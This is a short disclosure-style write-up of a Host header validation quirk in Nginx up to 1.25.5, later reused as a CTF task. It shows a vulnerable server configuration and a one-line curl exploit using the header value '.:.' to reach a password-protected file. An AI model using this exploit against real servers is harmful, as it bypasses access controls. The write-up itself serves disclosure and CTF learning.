Nginx 1.25.5 Host Header Validation

# Nginx =< 1.25.5 $host variable validation bug

## Intro:

In the "Host" header sent to Nginx web server you can't just insert a dot or something like that, because a filtering rules exists there. 
The ngx_http_validate_host function is responsible for filtering (https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c#L2145).

## What it validates:

+ two dots in a row are not allowed
+ colon and everything after it are stripped off
+ if "Host" header starts with "[", then after "]" everything is deleted
+ path separators are not allowed
+ cannot send chars ≤ 0x20 and == 0x7f
+ if there is a dot at the end, it is removed
+ if after all deletions the host length is zero, error occurs

## The bug itself: 

dot_pos can be greater than host_len, if the last dot is included in the strip, then the last unstripped character (first dot in this case) is not deleted.

So, if "Host" header payload is .:. , the colon and dot after it are stripped, but the first dot remains untouched and Nginx $host variable now contains only single dot character, what can't be done in the normal conditions.

## Vulnerable Nginx server configuration example:

server {
 root /sites/$host;
 index index.html;
 server_name _;

 location / {
 try_files $uri $uri/ =404;
 }
}

server {
 server_name "";

 location / {
 return 418 "I'm a teapot.";
 }
}

server {
 root /sites/protected-host.example.com;
 index flag.html;
 server_name protected-host.example.com;
 auth_basic "Protected File Storage";
 auth_basic_user_file /.htpasswd;

 location / {
 try_files $uri $uri/ =404;
 }
}

## Exploit (unauthorized access to password-protected host in this case):

curl -H "Host: .:." http://protected-host.example.com/protected-host.example.com/flag.html

P.S.
The bug was sent to [email protected], but the Nginx dev team said that ngx_http_validate_host function is a filter against fools and not a security bug at all, so it was decided to make it as a task on CTF Tinkoff contest.